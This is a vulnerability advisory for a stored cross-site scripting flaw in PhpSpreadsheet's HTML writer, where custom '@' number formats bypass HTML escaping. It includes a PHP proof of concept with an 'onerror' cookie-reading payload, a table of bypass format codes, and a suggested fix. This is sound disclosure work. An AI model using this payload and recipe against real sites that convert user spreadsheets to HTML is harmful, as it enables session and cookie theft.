phpoffice/phpspreadsheet · PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer
Affects phpoffice/phpspreadsheetSource GCVE Database
Not known to be exploited · CVSS 5.4 Medium : upgrade to 5.7.0 when convenient.
Data as of 27 Oct 2026, 00:07 UTC
- Patch
- Available – fixed in 5.7.0, 3.10.5, 2.4.5 +2
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NExploitation evidence
Disclosed: evidence found.
CVE published 6 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade to a fixed release listed under Affected software.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
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| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
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| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
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| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
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| Packagistphpoffice/phpspreadsheet | Affected
| Fixed in
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Description
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes. ## The Problem In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`: ```php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); } ``` When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**. Even a single trailing space in the format (`@ `) is enough to bypass the escape. ## Proof of Concept ```php use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; use PhpOffice\PhpSpreadsheet\Cell\DataType; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); // XSS payload with malicious number format $sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @'); $writer = new Html($spreadsheet); $writer->save('output.html'); ``` The generated HTML contains: ```html <td>. <img src=x onerror=alert(document.cookie)></td> ``` The XSS payload is **completely unescaped**. ## Tested Bypass Formats | Format Code | Result | Escaped? | |---|---|---| | `General` (default) | Original value | YES (safe) | | `. @` | `. ` + value | **NO (XSS!)** | | `@ ` (trailing space) | value + ` ` | **NO (XSS!)** | | `x@` | `x` + value | **NO (XSS!)** | This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser. ## Impact Any application that: 1. Accepts uploaded XLSX files from users 2. Converts them to HTML using PhpSpreadsheet's HTML writer 3. Displays the HTML to other users ...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`. ## Suggested Fix Always apply `htmlspecialchars()` regardless of whether formatting changed the value: ```php // Instead of conditional escaping: $cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); ``` Or escape AFTER formatting, not conditionally based on equality. ## Reporter Keyvan Hardani